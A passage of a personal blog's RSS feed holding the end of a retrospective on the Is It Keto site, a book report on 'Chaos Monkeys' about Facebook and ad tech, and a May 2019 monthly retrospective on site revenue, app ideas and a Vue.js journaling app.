&lt;p>I received applications from over 30 writers, did paid trials with about 10 of them, and never managed to bring costs &lt;a href="https://mtlynch.io/retrospectives/2019/03/#diving-into-my-content-costs">below $46 per article&lt;/a>. There certainly are writers who work for $15 per article, but they churned out barely-intelligible garbage. There&amp;rsquo;s a hefty premium for people who produce the kind of clear, concise writing I wanted for the site.&lt;/p>
&lt;p>There was a &lt;em>ton&lt;/em> I didn&amp;rsquo;t know about hiring writers. Expect a full-length post in the next few months that goes into more detail about what I learned.&lt;/p>
&lt;h2 id="going-forward">Going forward&lt;/h2>
&lt;p>Fortunately, Is It Keto costs almost nothing to run in the background. It fits in App Engine&amp;rsquo;s free tier and requires no maintenance. Its only ongoing cost is $12 per year for the domain name.&lt;/p>
&lt;p>It produced $82 in revenue last month and $103 this month, so it generates profit on a monthly basis, provided I don&amp;rsquo;t tinker with it. Overall the site&amp;rsquo;s still $4.7k in the red.&lt;/p>
&lt;p>While I&amp;rsquo;m disappointed that Is It Keto never produced positive returns, it was an excellent opportunity to learn from failure. Going forward, I&amp;rsquo;ll be sure to avoid these missteps so that I can make new, exciting mistakes on my future projects.&lt;/p>
&lt;hr>
&lt;p>&lt;em>Cover art by Loraine Yow.&lt;/em>&lt;/p></content:encoded></item><item><title>Chaos Monkeys by Antonio García Martínez</title><link>https://mtlynch.io/book-reports/chaos-monkeys/</link><pubDate>Thu, 30 May 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/chaos-monkeys/</guid><description>&lt;!-- wordword-next-line-ignore-word: names -->
&lt;p>An insider&amp;rsquo;s story about Facebook in the years leading up to its IPO. It&amp;rsquo;s surprisingly candid — it names names and exposes internal Facebook discussions that were never meant to be public.&lt;/p>
&lt;p>An engaging read, but the narrator is painfully obnoxious.&lt;/p></description><content:encoded>&lt;!-- wordword-next-line-ignore-word: names -->
&lt;p>An insider&amp;rsquo;s story about Facebook in the years leading up to its IPO. It&amp;rsquo;s surprisingly candid — it names names and exposes internal Facebook discussions that were never meant to be public.&lt;/p>
&lt;p>An engaging read, but the narrator is painfully obnoxious.&lt;/p>
&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>Story is well-written and engaging&lt;/li>
&lt;li>Interesting to see such a revealing view inside Facebook&lt;/li>
&lt;li>Does an excellent job of explaining technology and finance terms that are approachable to the layperson&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>I found the author pretentious and abrasive
&lt;ul>
&lt;li>He boasts about getting out of a ticket after being pulled over for drunk driving.&lt;/li>
&lt;li>&amp;ldquo;I got down to the serious business&amp;hellip; of trying to bang my product marketing manager [his Facebook colleague].&amp;rdquo;&lt;/li>
&lt;li>He seems proud of the fact that he was so dedicated to his startup that he neglected his responsibilities in raising his children.&lt;/li>
&lt;li>He spends several paragraphs explaining why his tastes are too sophisticated to know who Lady Gaga is when she shows up at his office.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Author took part in plans to monetize user data and is irritatingly dismissive about the implications on user privacy
&lt;ul>
&lt;li>Paints what feels like a disingenuous representation of Facebook as brave guardians of user data. He claims that &lt;em>advertisers&lt;/em> are the ones that are the real bad guys as far as privacy is concerned.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Lots of &amp;ldquo;hustle worship.&amp;rdquo;
&lt;ul>
&lt;li>He sneeringly declines a job offer from Twitter because they encourage their employees to go home at dinnertime, whereas Facebook encouraged all-night hackathons and weekend work.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;ul>
&lt;li>You can understand credit default swaps by thinking of them in terms of car insurance
&lt;ul>
&lt;li>Credit default swaps are insurance against someone failing to pay you money they owe. If you buy a bond from someone and it defaults, the seller of a credit default swap will reimburse your losses. Similar to how if your car gets damaged, the insurer will pay for you to get it back to normal state.&lt;/li>
&lt;li>The difference with credit default swaps is that anyone can buy the policy, so it would be like if your neighbor could buy an insurance policy and collect money if your car got damaged.&lt;/li>
&lt;li>Further, with credit default swaps, anyone can &lt;em>sell&lt;/em> a policy, so it would be like if a person across town could sell an insurance policy for your car.
&lt;ul>
&lt;li>
&lt;blockquote>
&lt;p>an incumbent in a market dominated by a few, with total information asymmetry, and the ability to make prices on the market rather than just take them, has little incentive to increase transparency.&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Explains why Goldman-Sachs preferred to offer credit default swaps through its own private channels rather than bringing them to public exchanges.&lt;/li>
&lt;li>Also explains why Facebook never set up its own ad exchange&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Early 2000s advertising on the Internet was primitive
&lt;ul>
&lt;li>You couldn&amp;rsquo;t target which users see your ads and you had no information about whether viewing your ad led to a purchase&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Right Media (&lt;a href="https://adage.com/article/digital/yahoo-acquire-media-680-million/116440">acquired by Yahoo! in 2007&lt;/a>) created the first programmatic media buying system (ad exchange)
&lt;ul>
&lt;li>It was the first system where ad purchases happened via automation rather than people talking to each other and making an individual deal for an advertisement.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Programmatic ad buying shifted power from publishers to advertisers.
&lt;ul>
&lt;li>Advertisers now had more information about the users because the advertisers could track users across the web, whereas the publisher only saw the user on their own site.&lt;/li>
&lt;li>This imbalance of information gave the advertisers the ability to set prices for advertisement when previously the publishers controlled the price.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&amp;ldquo;Brand advertising&amp;rdquo; vs. &amp;ldquo;direct response&amp;rdquo;
&lt;ul>
&lt;li>&lt;strong>direct response&lt;/strong> advertising is designed to make the customer take immediate action in response to seeing an ad (e.g., get $5 off this pair of sneakers if you click this ad)&lt;/li>
&lt;li>&lt;strong>brand advertising&lt;/strong> is designed to create a more long-term awareness of the brand rather than perform some immediate action (e.g., Pepsi spends millions on a Super Bowl ad with the expectation that any resulting purchases are only loosely connected to viewing the ad).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If you say that you&amp;rsquo;re in &amp;ldquo;stealth mode,&amp;rdquo; VCs will think that you&amp;rsquo;re an amateur
&lt;ul>
&lt;li>Ditto if you ask them to sign an NDA&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>How many miracles have to happen for your startup to succeed?
&lt;ul>
&lt;li>If it&amp;rsquo;s zero, it&amp;rsquo;s just a regular business&lt;/li>
&lt;li>(e.g., a trucking company)&lt;/li>
&lt;li>Startups require miracles but can only depend on 1-2 to have a reasonable shot at success
&lt;ul>
&lt;li>i.e., if your startup can only succeed if several miraculous events occur, you&amp;rsquo;ll probably fail&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Return on advertising spend (ROAS)
&lt;ul>
&lt;li>Basic metric that marketers use&lt;/li>
&lt;li>If you have to spend $0.75 per click on an ad, but you earn $1.10 per click, your ROAS = ($1.10 / $0.75) - 1 = 47%&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>As of 2011, highest-cost search term was &amp;ldquo;mesothelioma&amp;rdquo; at $90 per click
&lt;ul>
&lt;li>Bid up by lawyers trying to gather plaintiffs for class-action lawsuits related to asbestos&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>In 2011, only large companies could buy advertising through Google&amp;rsquo;s Ad Exchange (AdX)
&lt;ul>
&lt;li>Google&amp;rsquo;s native tools were too crude and hard to use for big marketers, so they built their own tools on top.&lt;/li>
&lt;li>Google&amp;rsquo;s native tools were too confusing for small businesses without marketing expertise.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>AdGrok (author&amp;rsquo;s startup) was a layer on top of AdX that small businesses could use&lt;/li>
&lt;li>AdGrok messed up by dividing equity equally among three co-founders
&lt;ul>
&lt;li>Hard to make any decisions because three people have an equal say.&lt;/li>
&lt;li>Author recommends having a single decider with &amp;gt;=51% equity so that important decisions don&amp;rsquo;t get bogged down with everyone&amp;rsquo;s input.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>AdGrok was successful at content marketing mainly by posting provocative and controversial opinions about the tech scene.
&lt;ul>
&lt;li>e.g., &lt;a href="https://web.archive.org/web/20100804054123/http://adgrok.com/new-york-will-always-be-a-tech-backwater-i-dont-care-what-chris-dixon-or-ron-conway-or-paul-graham-say">&amp;ldquo;New York will always be a tech backwater, I don’t care what Chris Dixon or Ron Conway or Paul Graham say&amp;rdquo;&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&amp;ldquo;Chaos monkey&amp;rdquo; is an &lt;a href="https://netflix.github.io/chaosmonkey/">open source tool&lt;/a> from Netflix that tests a system&amp;rsquo;s resiliency to random outages.
&lt;ul>
&lt;li>Imagine a monkey loose in a data center randomly disconnecting servers.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&amp;ldquo;the cap&amp;rdquo;
&lt;ul>
&lt;li>A startup&amp;rsquo;s first round of funding is the &amp;ldquo;seed round.&amp;rdquo;&lt;/li>
&lt;li>In exchange for investing during the seed round, investors receive a convertible note
&lt;ul>
&lt;li>Convertible note is debt that turns into equity in the company during later funding rounds.&lt;/li>
&lt;li>e.g., If an investor puts in $100k of seed money, they get $100k of equity when the series A funding happens. If the series A raises money at a $10M valuation, the investor gets 1% equity in the company ($100k / $10M = 1%)&lt;/li>
&lt;li>That&amp;rsquo;s a bad deal for seed investors because they invested earlier in the company&amp;rsquo;s lifetime when the risks were higher, so the &amp;ldquo;cap&amp;rdquo; corrects that imbalance.&lt;/li>
&lt;li>Cap is the maximum valuation at which the seed money can be converted to equity.
&lt;ul>
&lt;li>e.g., $100k of seed money with a cap of $3M means that if the valuation by series A is higher than $3M, the seed investor still gets equity proportionate to a $3M valuation (e.g., valuation at series A is $10M but cap is $3M, the seed investor still gets 3.3% of the company for their initial $100k investment ($100k / $3M = 3.3%)).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>At the seed stage (raising money with debt), different investors can invest at different valuations (different caps), but when raising with equity (e.g., series A), all investors must agree to a single valuation.&lt;/li>
&lt;li>&amp;ldquo;cap table&amp;rdquo; is the capitalization table.
&lt;ul>
&lt;li>A table that lists every equity owner in a startup and what percentage ownership they hold&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Paul_Graham_(programmer)">Paul Graham&lt;/a> seems like a great guy
&lt;ul>
&lt;li>When a larger company initiated a frivolous lawsuit against AdGrok, Graham used all of YC&amp;rsquo;s resources and connections to force them to drop the suit.&lt;/li>
&lt;li>There&amp;rsquo;s also this scene with Paul Graham and &lt;a href="https://en.wikipedia.org/wiki/Jessica_Livingston">Jessica Livingston&lt;/a> that I found cute for how it humanized these seemingly larger-than-life characters:
&lt;blockquote>
&lt;p>Before we got too deep into the conspiring, Jessica, PG&amp;rsquo;s wife and YC copartner, came out to discuss lunch. What ensued was a minor squabble over some leftover pasta, and why it was gone, and who had planned on eating it that afternoon. PG looked a little miffed.&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Chris_Sacca">Chris Sacca&lt;/a> comes across badly - petulant and self-serving.&lt;/li>
&lt;li>In an acqui-hire, two separate companies can buy a startup by picking and choosing the employees they want
&lt;ul>
&lt;li>In AdGrok&amp;rsquo;s case, Facebook acqui-hired the author, while Twitter acquired the company itself and its two developers.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>In an acqui-hire, the acquiring company has a lot of freedom to structure the deal so that it benefits the founders, the investors, or splits the benefit evenly.
&lt;ul>
&lt;li>The acquiring company just wants to do the deal for the lowest possible cost per employee. They don&amp;rsquo;t care whether the money goes to the investors or the founders.&lt;/li>
&lt;li>To favor the founders, the acquiring company can move more money into the employment compensation packages.&lt;/li>
&lt;li>To favor the investors, the acquiring company can pay more for the equity of the acquired company.&lt;/li>
&lt;li>In AdGrok&amp;rsquo;s case, a $10M acquisition, Twitter offered $9M in employee compensation packages and only $1m for the company itself.
&lt;ul>
&lt;li>This was a bad deal for investors, who expected at least $2M.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Nobody owns startups when they first form
&lt;ul>
&lt;li>Startup ownership is typically structured so that founders split ownership but their stake is vested over time.&lt;/li>
&lt;li>If each founder owned 30-40% of the company from day one, any founder could instantly kill the whole company by walking away with their share of the equity.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Facebook didn&amp;rsquo;t monetize well until ~2013 (shortly after their IPO)
&lt;ul>
&lt;li>&amp;ldquo;[Facebook&amp;rsquo;s per-user revenue was] comparable to what you&amp;rsquo;d monetize your &lt;em>Star Wars&lt;/em> blog at if you ran AdSense.&amp;rdquo;
&lt;ul>
&lt;li>
&lt;blockquote>
&lt;p>a billion times any number is still a big fucking number.&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Despite poor monetization, Facebook had high revenue by virtue of its enormous user base&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Pre-IPO, the Ads team didn&amp;rsquo;t have much power and was forced to try to squeeze money from whatever the product teams built (without having any voice in the product direction)&lt;/li>
&lt;li>Nobody on Facebook Ads had any real advertising experience except for some of the people poached from Google
&lt;ul>
&lt;li>They weren&amp;rsquo;t aware of standard practices for user targeting&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Facebook often secretly tested new features in New Zealand.
&lt;ul>
&lt;li>It had the advantage of being English-speaking like Facebook&amp;rsquo;s largest markets.&lt;/li>
&lt;li>New Zealanders largely knew other New Zealanders, so gossip about new features was slower to spread from New Zealand to other countries.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&amp;ldquo;data on-boarding&amp;rdquo;: the ability to match someone&amp;rsquo;s offline identity to their online consumer profile
&lt;ul>
&lt;li>Companies like Datalogix, Neustar, and LiveRamp buy data from second-tier social networks and dating sites so that they can associate email addresses with browser cookies.&lt;/li>
&lt;li>Facebook and Google are especially good at this because of how much personal information they have about their users.
&lt;ul>
&lt;li>Facebook&amp;rsquo;s Custom Audiences can match up to 90% of offline identities to Facebook profiles.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>A weak opening day IPO is actually good for the company going public
&lt;ul>
&lt;li>If a stock jumps 20% on IPO day, it means that the investment bank underpriced the shares and caused the company to sell off huge chunks of equity below their market value.&lt;/li>
&lt;li>If a stock drops 20% on IPO day, the people who lose out are the investment banks and the buyers who got exclusive deals to buy shares early. The company wins out by selling early shares at a premium to their true market value.&lt;/li>
&lt;li>Investment banks have financial incentive to underprice IPOs so that they capitalize on the undervalued shares and don&amp;rsquo;t get stuck holding the bag if the stock drops in price.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;blockquote>
&lt;p>Don&amp;rsquo;t be deceived by my withering treatment of Facebook in this book; inside every cynic lives a heartbroken idealist.&lt;/p>&lt;/blockquote>
&lt;ul>
&lt;li>As a &lt;a href="https://mtlynch.io/why-i-quit-google/">once-loyal and later-bitter Googler&lt;/a>, I related to this sentiment.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>Recovery Month</title><link>https://mtlynch.io/retrospectives/2019/05/</link><pubDate>Wed, 08 May 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2019/05/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>Is It Keto&amp;rsquo;s revenue doubled to $82.44 with zero effort on my part.&lt;/li>
&lt;li>My task journaling app is almost ready for publication.&lt;/li>
&lt;li>I&amp;rsquo;ve begun setting up meetings with potential customers about my next project ideas.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of the month, I &lt;a href="https://mtlynch.io/retrospectives/2019/04/#calling-it-quits">gave up on Is It Keto&lt;/a> and set goals to help me pursue other projects. Here&amp;rsquo;s how I did against those goals.&lt;/p>
&lt;p>&lt;strong>Learn Vue.js&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Went through the &lt;a href="https://vuejs.org/v2/guide/">Vue guide&lt;/a> and used Vue to implement a basic site.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m not fluent in Vue, but I&amp;rsquo;m &amp;ldquo;conversational.&amp;rdquo; I can create a website with the features that I want without getting tripped up by the language itself, which is more than I could say about Angular after 6 months banging my head against the wall trying to use it.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>Is It Keto&amp;rsquo;s revenue doubled to $82.44 with zero effort on my part.&lt;/li>
&lt;li>My task journaling app is almost ready for publication.&lt;/li>
&lt;li>I&amp;rsquo;ve begun setting up meetings with potential customers about my next project ideas.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of the month, I &lt;a href="https://mtlynch.io/retrospectives/2019/04/#calling-it-quits">gave up on Is It Keto&lt;/a> and set goals to help me pursue other projects. Here&amp;rsquo;s how I did against those goals.&lt;/p>
&lt;p>&lt;strong>Learn Vue.js&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Went through the &lt;a href="https://vuejs.org/v2/guide/">Vue guide&lt;/a> and used Vue to implement a basic site.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m not fluent in Vue, but I&amp;rsquo;m &amp;ldquo;conversational.&amp;rdquo; I can create a website with the features that I want without getting tripped up by the language itself, which is more than I could say about Angular after 6 months banging my head against the wall trying to use it.&lt;/p>
&lt;p>&lt;strong>Explore ideas for a new project&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Reached out to a few different potential customers to schedule meetings&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B-&lt;/li>
&lt;/ul>
&lt;p>I reached out to eight publishers and writers. Most ignored me but some of those cold emails turned into meetings scheduled for May. I also called several local stone quarries who have no idea what I&amp;rsquo;m talking about when I say I want to write custom software for them, so I need to find another angle to pitch to them.&lt;/p>
&lt;p>&lt;strong>Get back to posting full-length blog articles&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I published a new &lt;a href="https://mtlynch.io/painless-web-app-testing/">blog post&lt;/a> about end-to-end testing.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I generally try to publish a new blog post each month, but I hadn&amp;rsquo;t published anything since February because I got busy preparing talks for software conferences. My new blog post described a testing technique that works with almost any web app. It reached ~14,000 readers in its first two days, which is on the medium-high side for me.&lt;/p>
&lt;h2 id="is-it-keto-stats">Is It Keto Stats&lt;/h2>
&lt;p>Now that Is It Keto is on the backburner, I&amp;rsquo;m not going to dive as deeply into its metrics, but here&amp;rsquo;s a summary of the most interesting ones:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/05/amazon-earnings.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/05/amazon-earnings_hu_88af735762e6c0f9.jpg 300w, https://mtlynch.io/retrospectives/2019/05/amazon-earnings_hu_bfb6517686d5f0cc.jpg 600w, https://mtlynch.io/retrospectives/2019/05/amazon-earnings_hu_779da733479f81e3.jpg 800w, https://mtlynch.io/retrospectives/2019/05/amazon-earnings.jpg 950w'
 src="https://mtlynch.io/retrospectives/2019/05/amazon-earnings.jpg" alt="Amazon Earnings - April 2019" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Amazon affiliate earnings - April 2019&lt;/p>&lt;/figcaption>
&lt;/figure>















 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 860px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/05/google-analytics.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 860px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/05/google-analytics_hu_43c089551852c7e8.jpg 300w, https://mtlynch.io/retrospectives/2019/05/google-analytics_hu_8b8db1d6eebb5337.jpg 600w, https://mtlynch.io/retrospectives/2019/05/google-analytics_hu_f0feb032a12c253.jpg 800w, https://mtlynch.io/retrospectives/2019/05/google-analytics.jpg 860w'
 src="https://mtlynch.io/retrospectives/2019/05/google-analytics.jpg" alt="Google Analytics screenshot" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>User sessions - May 2018 through April 2019&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>March 2019&lt;/th>
 &lt;th>April 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>4,001&lt;/td>
 &lt;td>7,262&lt;/td>
 &lt;td>&lt;font color="green">+3,261 (+82%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>11,431&lt;/td>
 &lt;td>19,732&lt;/td>
 &lt;td>&lt;font color="green">+8,301 (+73%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Authority (Moz)&lt;/td>
 &lt;td>9&lt;/td>
 &lt;td>9&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Ranking Keywords (Moz)&lt;/td>
 &lt;td>448&lt;/td>
 &lt;td>548&lt;/td>
 &lt;td>&lt;font color="green">+100 (+22%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$40.84&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$82.44&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$41.60 (+102%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="money-for-nothing">Money for nothing&lt;/h2>
&lt;p>The nice thing about Is It Keto is that it grows on its own. It&amp;rsquo;s all just content, so I don&amp;rsquo;t have to perform any maintenance tasks to keep it running, and server costs are negligible ($1.48 for April).&lt;/p>
&lt;p>How is this happening? Organic search drives the site&amp;rsquo;s growth, but search engines only put Is It Keto in the top spot for a small number of queries. In January, 25% of the site&amp;rsquo;s total traffic came from just three pages: &lt;a href="https://isitketo.org/propel">Propel&lt;/a>, &lt;a href="https://isitketo.org/pure-via-stevia">Pure Via Stevia&lt;/a>, and &lt;a href="https://isitketo.org/greek-yogurt">Greek Yogurt&lt;/a>. For whatever reason, Google ranked Is It Keto in top spots for queries related to those pages even though I had ~60 other pages at the time that rarely came up in search results.&lt;/p>
&lt;p>Now, Is It Keto has 174 food articles, but only 25 of them receive &amp;gt;= 500 search impressions per month. Fortunately, that number keeps growing. Last month, it was only 18. Back in February, only two of my articles appeared 500 times or more in search results. As Google decides that more pages on Is It Keto are relevant for its search queries, site traffic grows even though I&amp;rsquo;m not doing anything.&lt;/p>
&lt;p>It would be great if this growth keeps up. If revenue reaches $500/mo, I can hire back my writer and continue adding content instead of relying on my fixed corpus of articles to grow more popular.&lt;/p>
&lt;h2 id="simplifying-the-editing-workflow">Simplifying the editing workflow&lt;/h2>
&lt;p>I worked with freelance writers to create several articles for Is It Keto, but we always had a clunky process for drafts -&amp;gt; feedback -&amp;gt; revisions. We used Google Docs and margin comments, but Docs doesn&amp;rsquo;t do a great job of highlighting what changed between drafts or keeping context of what comment led to which edit.&lt;/p>
&lt;p>If you&amp;rsquo;re a professional developer, you&amp;rsquo;re probably familiar with code review tools like &lt;a href="https://github.com/features/code-review/">GitHub reviews&lt;/a>, &lt;a href="https://reviewable.io/">Reviewable&lt;/a>, or &lt;a href="https://www.phacility.com/">Phabricator&lt;/a>. I suspect that content writers could benefit from similar tools, so I&amp;rsquo;ve been reaching out to writers and editors to ask them what kind of tool I could create for them to solve this problem.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 950px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/05/reviewable.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 950px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/05/reviewable_hu_b872d44e6f51a3eb.jpg 300w, https://mtlynch.io/retrospectives/2019/05/reviewable_hu_eb0e3464ae17a1ef.jpg 600w, https://mtlynch.io/retrospectives/2019/05/reviewable_hu_3725a6132f8aaeeb.jpg 800w, https://mtlynch.io/retrospectives/2019/05/reviewable.jpg 1157w'
 src="https://mtlynch.io/retrospectives/2019/05/reviewable.jpg" alt="Screenshot of a code review on Reviewable.io" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I want to make this but for content instead of code&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I started by emailing software publications because I thought they&amp;rsquo;d have financial incentive to smooth out this process, and they&amp;rsquo;d be familiar with code review tools. None of them were interested, so I started reaching out to individual writers. They seem much more excited, so I have meetings lined up for May.&lt;/p>
&lt;div class="notice notice-info">
 If you know a writer or copy editor who might be interested, please ask them to &lt;a href="https://mtlynch.io/about/">email me&lt;/a>. I&amp;rsquo;d love to speak with them.
&lt;/div>

&lt;h2 id="an-app-for-rocks">An app for rocks&lt;/h2>
&lt;p>One idea I liked from the book &lt;a href="https://mtlynch.io/book-reports/start-small-stay-small/">&lt;em>Start Small, Stay Small&lt;/em>&lt;/a> was the &amp;ldquo;market-first approach.&amp;rdquo; Instead of picking a product and trying to sell it to a particular market, you pick an underserved market, find out what they need, then build that.&lt;/p>
&lt;p>I &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/#so-i-bought-a-house">live in Western Massachusetts&lt;/a>, so I&amp;rsquo;ve been thinking about businesses that are exclusive to this area. One such business is quarries that mine Goshen stone, a popular stone for home landscaping. These businesses have millions in revenue but seem to do most of their business through paper orders and phone calls, so I suspect there&amp;rsquo;s opportunity for automation.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/05/quarry.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/05/quarry_hu_63e7c1f91f0c8828.jpg 300w, https://mtlynch.io/retrospectives/2019/05/quarry_hu_e55ed5dd4fcae96b.jpg 600w, https://mtlynch.io/retrospectives/2019/05/quarry_hu_d833e1d4beca6e3d.jpg 800w, https://mtlynch.io/retrospectives/2019/05/quarry_hu_c2062428717bfc47.jpg 1200w, https://mtlynch.io/retrospectives/2019/05/quarry.jpg 3578w'
 src="https://mtlynch.io/retrospectives/2019/05/quarry.jpg" alt="Photo by Mariana Proença on Unsplash" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Maybe what this quarry really needs is a good SaaS app&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The challenge is getting quarry owners to talk to me. They&amp;rsquo;re used to their current way of doing business, so they&amp;rsquo;re reluctant to talk to some guy who seems like he&amp;rsquo;s trying to sell something they&amp;rsquo;re not familiar with. But I don&amp;rsquo;t know what value I can offer them until they agree to talk to me and tell me about their business. I placed calls in April and got some &amp;ldquo;We&amp;rsquo;re not sure&amp;rdquo; responses, so I&amp;rsquo;ll continue trying to set up discussions with them in May.&lt;/p>
&lt;div class="notice notice-info">
 If you know a stone quarry operator, please &lt;a href="https://mtlynch.io/about/">email me&lt;/a> because I&amp;rsquo;d love an introduction.
&lt;/div>

&lt;h2 id="the-what-got-done-app">The What Got Done app&lt;/h2>
&lt;p>I have a ritual to end each week where I write down short-form notes on everything I accomplished. For the past year, I did this in a giant Google Doc, but I always wished that I had a tool that was more purpose-built for the task and more easily shareable.&lt;/p>
&lt;p>My April goal was to learn Vue.js, and there&amp;rsquo;s no better way to learn a new technology than to build a real product with it. So, I did! It&amp;rsquo;s called &lt;a href="https://whatgotdone.com">What Got Done&lt;/a>:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/05/whatgotdone.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/05/whatgotdone_hu_7e04ed32911c1221.jpg 300w, https://mtlynch.io/retrospectives/2019/05/whatgotdone_hu_18da214e160b2bb5.jpg 600w, https://mtlynch.io/retrospectives/2019/05/whatgotdone_hu_5a0cbbf26ea844.jpg 800w, https://mtlynch.io/retrospectives/2019/05/whatgotdone.jpg 1148w'
 src="https://mtlynch.io/retrospectives/2019/05/whatgotdone.jpg" alt="What Got Done screenshot" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>A first look at my new task journaling app, What Got Done&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Here&amp;rsquo;s my entry for last week:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://weeks.mtlynch.io/2019-05-03">What Got Done - May 3rd, 2019&lt;/a>&lt;/li>
&lt;/ul>
